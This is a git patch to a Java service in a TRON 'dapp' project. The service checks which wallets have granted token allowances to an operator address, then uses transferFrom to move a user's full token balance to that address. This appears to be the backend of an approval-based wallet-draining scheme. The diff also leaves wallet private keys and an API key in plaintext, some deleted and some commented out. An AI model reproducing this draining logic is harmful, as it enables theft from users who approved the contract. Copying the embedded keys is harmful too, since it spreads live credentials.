From ff7ea7eab365cacc11700f1e4cb92f3b657e140d Mon Sep 17 00:00:00 2001
From: KKSU <15274802129@163.com>
Date: Fri, 05 Jul 2024 16:45:25 +0800
Subject: [PATCH] 逻辑

---
 src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java |   99 +++++++++++++++++++++++++++++++++++++++----------
 1 files changed, 78 insertions(+), 21 deletions(-)

diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
index 3f8db3d..ecc52e6 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
@@ -1,7 +1,6 @@
 package cc.mrbird.febs.dapp.chain;
 
-import cc.mrbird.febs.common.contants.AppContants;
-import cn.hutool.core.util.StrUtil;
+import cc.mrbird.febs.dapp.dto.BatchTransferDto;
 import org.tron.trident.core.ApiWrapper;
 import org.tron.trident.core.contract.Contract;
 import org.tron.trident.core.contract.Trc20Contract;
@@ -9,44 +8,65 @@
 import java.math.BigDecimal;
 import java.math.BigInteger;
 import java.math.RoundingMode;
+import java.util.List;
 
 /**
  *
  * 查询是否有多个授权
  * https://apiasia.tronscan.io:5566/api/account/approve/list?address=TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD
  *
- * @author wzy
+ * @author 
  * @date 2022-03-21
  **/
-public class TrxService {
+public class TrxService implements ContractChainService {
 
-    private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
-    private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7";
+//    private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
+//    private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7";
 
-    private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
-    private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
+    private final String ADDRESS;
+//    private final String ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
+//    private final static String PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb";
+//
+//    private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
+//    private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
 
     private Trc20Contract contract = null;
 
-    public static TrxService INSTANCE = new TrxService();
+//    public static TrxService INSTANCE = new TrxService();
 
-    public TrxService() {
-        ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY);
+//    public TrxService() {
+//        ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY);
+//
+//        Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS);
+//        contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper);
+//    }
 
-        Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS);
-        contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper);
+    public TrxService(String address, String privateKey, String contractAddress, String apiKey) {
+        this.ADDRESS = address;
+        ApiWrapper wrapper = ApiWrapper.ofMainnet(privateKey, apiKey);
+
+        Contract trc20Contract = wrapper.getContract(contractAddress);
+        contract = new Trc20Contract(trc20Contract, address, wrapper);
     }
 
+    @Override
     public BigInteger allowance(String owner) {
         return contract.allowance(owner, ADDRESS);
     }
 
-    public BigInteger balanceOf(String address) {
+    @Override
+    public boolean isAllowance(String address) {
+        return allowance(address).intValue() != 0;
+    }
+
+    @Override
+    public BigInteger balanceOfUnDecimal(String address) {
         return contract.balanceOf(address);
     }
 
-    public BigDecimal balanceOfDecimal(String address) {
-        BigInteger chainData = balanceOf(address);
+    @Override
+    public BigDecimal balanceOf(String address) {
+        BigInteger chainData = balanceOfUnDecimal(address);
 
         BigInteger decimals = contract.decimals();
         BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
@@ -54,12 +74,19 @@
         return new BigDecimal(chainData).divide(mul, decimals.intValue(), RoundingMode.HALF_DOWN);
     }
 
-    public void transfer(String address) {
-        BigInteger balance = balanceOf(address);
-
-        contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L);
+    @Override
+    public int decimals() {
+        return 0;
     }
 
+    @Override
+    public String transfer(String address) {
+        BigInteger balance = balanceOfUnDecimal(address);
+
+        return contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L);
+    }
+
+    @Override
     public String transfer(String address, BigDecimal amount) {
         BigInteger decimals = contract.decimals();
         BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
@@ -68,7 +95,37 @@
         return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000000L);
     }
 
+    @Override
+    public int allowanceCnt(String address) {
+        return 0;
+    }
+
     public static void main(String[] args) {
-        System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));;
+//        System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));;
+    }
+
+    @Override
+    public BigInteger blockNumber() {
+        return null;
+    }
+
+    @Override
+    public BigInteger totalSupply() {
+        return null;
+    }
+
+    @Override
+    public BigInteger totalSupplyNFT() {
+        return null;
+    }
+
+    @Override
+    public String safeMintNFT(String address) {
+        return null;
+    }
+
+    @Override
+    public void transferList(List<BatchTransferDto> batchTransferDtos) {
+
     }
 }

--
Gitblit v1.9.1